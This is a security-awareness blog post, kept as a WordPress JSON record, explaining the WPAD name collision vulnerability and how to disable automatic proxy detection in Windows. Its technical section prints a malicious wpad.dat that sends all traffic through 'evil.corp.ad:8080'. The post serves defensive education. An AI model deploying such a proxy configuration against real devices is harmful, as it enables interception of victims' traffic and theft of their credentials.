{"id":100,"date":"2023-10-20T05:44:37","date_gmt":"2023-10-20T05:44:37","guid":{"rendered":"https:\/\/corp.ad\/?p=100"},"modified":"2025-03-02T13:12:44","modified_gmt":"2025-03-02T13:12:44","slug":"the-wpad-name-collision-vulnerability","status":"publish","type":"post","link":"https:\/\/www.corpad.org\/?p=100","title":{"rendered":"The WPAD Name Collision Vulnerability"},"content":{"rendered":"\n<p>The WPAD Name Collision Vulnerability, often referred to WPAD spoofing or simply as the WPAD vulnerability, is a security flaw of Web Proxy Auto-Discovery (WPAD) protocol. WPAD is a protocol that enables web browsers to automatically discover and configure proxy settings, when the device is connected to any network. Due to the lack of validation for the safety of proxy configuration files provided by the connected network, this protocol allows attackers to carry out a &#8216;WPAD attack&#8217;, maliciously intercepting and redirecting the victim&#8217;s web traffic by delivering a malformed proxy configuration.<\/p>\n\n\n\n<p><strong>\u25a1 How does it work<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"403\" height=\"502\" data-id=\"126\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-21.png\" alt=\"\" class=\"wp-image-126\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-21.png 403w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-21-241x300.png 241w\" sizes=\"auto, (max-width: 403px) 85vw, 403px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>In a private corporate network, the WPAD protocol is commonly used to automatically direct devices to connect to an internal proxy server. This proxy server acts as an intermediary, forwarding client devices&#8217; requests to more internally protected destination servers and then relaying the responses back to the respective client devices.<\/p>\n\n\n\n<p>However, a security concern arises when devices typically used within the corporate network connect to an external, untrusted network. This is because these devices continue to operate under the assumption that they are still within the corporate network and will attempt to utilize the same WPAD protocol to automatically locate a proxy server. If a malicious actor has deployed a fake WPAD server with a same domain name and a fake proxy server, the device may inadvertently connect to these fraudulent servers.<\/p>\n\n\n\n<figure class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"406\" height=\"381\" data-id=\"127\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-22.png\" alt=\"\" class=\"wp-image-127\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-22.png 406w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-22-300x282.png 300w\" sizes=\"auto, (max-width: 406px) 85vw, 406px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>Once a device is connected to the fake proxy server, the malicious actor can exploit this connection to launch various attacks. When the device sends requests to the fake proxy server, the malicious actor can manipulate the responses, potentially embedding harmful content such as ransomware within the response files. <\/p>\n\n\n\n<figure class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"398\" height=\"384\" data-id=\"129\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-24.png\" alt=\"\" class=\"wp-image-129\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-24.png 398w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-24-300x289.png 300w\" sizes=\"auto, (max-width: 398px) 85vw, 398px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>Moreover, the malicious actor can eavesdrop on the device&#8217;s requests, gaining access to sensitive information such as login credentials, credit card numbers, and passwords.<\/p>\n\n\n\n<p>So, how can one avoid falling victim to this type of attack?<\/p>\n\n\n\n<p><strong>\u25a1 Always prevent that your browser automatically connected to attacker&#8217;s proxy server:<\/strong><\/p>\n\n\n\n<p><strong>1) If you are using old Windows and Internet Explorer:<\/strong><\/p>\n\n\n\n<p>Open the &#8220;Internet Options&#8221; dialog, click &#8220;Connections&#8221; tab then click &#8220;LAN Settings&#8221;, and uncheck &#8220;Automatically detect settings&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"385\" height=\"332\" data-id=\"111\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-10.png\" alt=\"\" class=\"wp-image-111\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-10.png 385w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-10-300x259.png 300w\" sizes=\"auto, (max-width: 385px) 85vw, 385px\" \/><\/figure>\n<\/figure>\n\n\n\n<p><strong>2) If you are using Windows 10:<\/strong><\/p>\n\n\n\n<p>Open the Start menu and click on Settings, Select Network &amp; Internet, Click on Proxy in the left-hand pane, toogle the Automatic proxy setup Off, then Save.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"455\" height=\"228\" data-id=\"113\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-12.png\" alt=\"\" class=\"wp-image-113\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-12.png 455w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-12-300x150.png 300w\" sizes=\"auto, (max-width: 455px) 85vw, 455px\" \/><\/figure>\n<\/figure>\n\n\n\n<p><strong>3) If you are using Windows 11:<\/strong><\/p>\n\n\n\n<p>Open the Start menu and click on Settings, Select Network &amp; Internet, Click on Proxy in the left-hand pane, Toggle the Automatically detect settings option to Off.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-6 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1022\" height=\"484\" data-id=\"130\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-25.png\" alt=\"\" class=\"wp-image-130\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-25.png 1022w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-25-300x142.png 300w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-25-768x364.png 768w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n<\/figure>\n\n\n\n<p><strong>\u25a1 Always be cautious about security warnings from your browser<\/strong>:<\/p>\n\n\n\n<p>Since the WPAD vulnerability is a decades-old issue, so modern browsers always warn users when someone else tries to break into their securely protected communications. <\/p>\n\n\n\n<p>More specifically, if you encounter a certificate error page that warns about privacy, like the one shown below, never click the &#8220;Advanced&#8221; button to forcefully visit the site.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-7 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"556\" height=\"327\" data-id=\"104\" src=\"http:\/\/35.212.132.239\/wp-content\/uploads\/2023\/10\/image-8.png\" alt=\"\" class=\"wp-image-104\" srcset=\"https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-8.png 556w, https:\/\/www.corpad.org\/wp-content\/uploads\/2023\/10\/image-8-300x176.png 300w\" sizes=\"auto, (max-width: 556px) 85vw, 556px\" \/><\/figure>\n<\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>\u25a1 If you want to know about technical details :<\/strong><\/p>\n\n\n\n<p>When a device configured to connect &#8216;Corp.AD&#8217; network in default (e.g. A Windows PC joined in Active Directory), the device will looking for &#8216;wpad.dat&#8217; file from a host with the domain name, using http protocol:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET http:\/\/wpad.corp.ad\/wpad.dat<\/code><\/pre>\n\n\n\n<p>Inside the wpad.dat file, there is a javascript function that describes which destinations should used as the proxy server. Below is the example of a wpad.dat file that redirect only corp.ad traffics to proxy.corp.ad server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function FindProxyForURL(url, host)\n{\n\thost = host.toLowerCase();\n  \n\tif (dnsDomainIs(host, \".corp.ad\") || (host == \"corp.ad\"))\n\t{\n\t\treturn \"PROXY proxy.corp.ad:9090\";\n\t}\n\treturn \"DIRECT\";\n}<\/code><\/pre>\n\n\n\n<p>If an attacker wants all victim&#8217;s web traffic redirected to his site and spy on the victim&#8217;s Internet traffic, will use this kind of wpad.dat :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function FindProxyForURL(url, host) \n{\n\treturn \"PROXY evil.corp.ad:8080\";\n}<\/code><\/pre>\n\n\n\n<p>WPAD attacks can be executed in Man-in-the-Middle (MITM) scenarios, as illustrated in the previous examples. This implies that whenever a WPAD-vulnerable device connects to an untrusted network, there exists a potential risk for exploitation.<\/p>\n\n\n\n<p>WPAD attacks can be executed in Man-in-the-Middle (MITM) scenarios, as illustrated in the previous examples. This implies that whenever a WPAD-vulnerable device connects to an untrusted network, there exists a potential risk for exploitation.<\/p>\n\n\n\n<p>Additionally, WPAD attacks can occur when a malicious actor controls a legitimate public domain name that the same name is used within a private network. When a device transitions from the private network to the public network (Internet), it may connect to the attacker&#8217;s server that using the public domain name. This means a private network that use a &#8216;Not legitimately owned&#8217; domain name is also possibly vulnerable to WPAD attacks.<\/p>\n\n\n\n<p><strong>\u25a1 The Public Corp.AD Server<\/strong><\/p>\n\n\n\n<p>The purpose of this site is to warn about potential network domain name collisions and the associated vulnerabilities. To promote a safer Internet for everyone who use the &#8216;corp.ad&#8217; as a private network domain name, this public corp.ad server does not response to any \/wpad.dat request. <\/p>\n\n\n\n<p>It is explicitly denied on httpd conf.d with following configuration:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$cat \/etc\/httpd\/conf.d\/nowpad.conf\n&lt;Location \/wpad.dat&gt;\n Deny from All\n&lt;\/Location&gt;<\/code><\/pre>\n\n\n\n<p>Since &#8220;corp.ad&#8221; is a domain that can be generally expected to be used as a private domain name, if you are visiting this site due to name collision, please always be cautious of your traffic being redirected in a public, untrusted network such as free Wi-Fi at a cafe, airport, and so on. <\/p>\n\n\n\n<p>Please find more information about this vulnerability at : <\/p>\n\n\n\n<p><a href=\"https:\/\/www.cisa.gov\/news-events\/alerts\/2016\/05\/23\/wpad-name-collision-vulnerability\">https:\/\/www.cisa.gov\/news-events\/alerts\/2016\/05\/23\/wpad-name-collision-vulnerability<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The WPAD Name Collision Vulnerability, often referred to WPAD spoofing or simply as the WPAD vulnerability, is a security flaw of Web Proxy Auto-Discovery (WPAD) protocol. WPAD is a protocol that enables web browsers to automatically discover and configure proxy settings, when the device is connected to any network. Due to the lack of validation &hellip; <a href=\"https:\/\/www.corpad.org\/?p=100\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;The WPAD Name Collision Vulnerability&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[5,14,12,13,11,10],"class_list":["post-100","post","type-post","status-publish","format-standard","hentry","category-security","tag-corp-ad","tag-domain-name-collision","tag-mitm-attack","tag-security","tag-wpad-attack","tag-wpad-vulnerability"],"_links":{"self":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts\/100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=100"}],"version-history":[{"count":12,"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts\/100\/revisions"}],"predecessor-version":[{"id":409,"href":"https:\/\/www.corpad.org\/index.php?rest_route=\/wp\/v2\/posts\/100\/revisions\/409"}],"wp:attachment":[{"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corpad.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}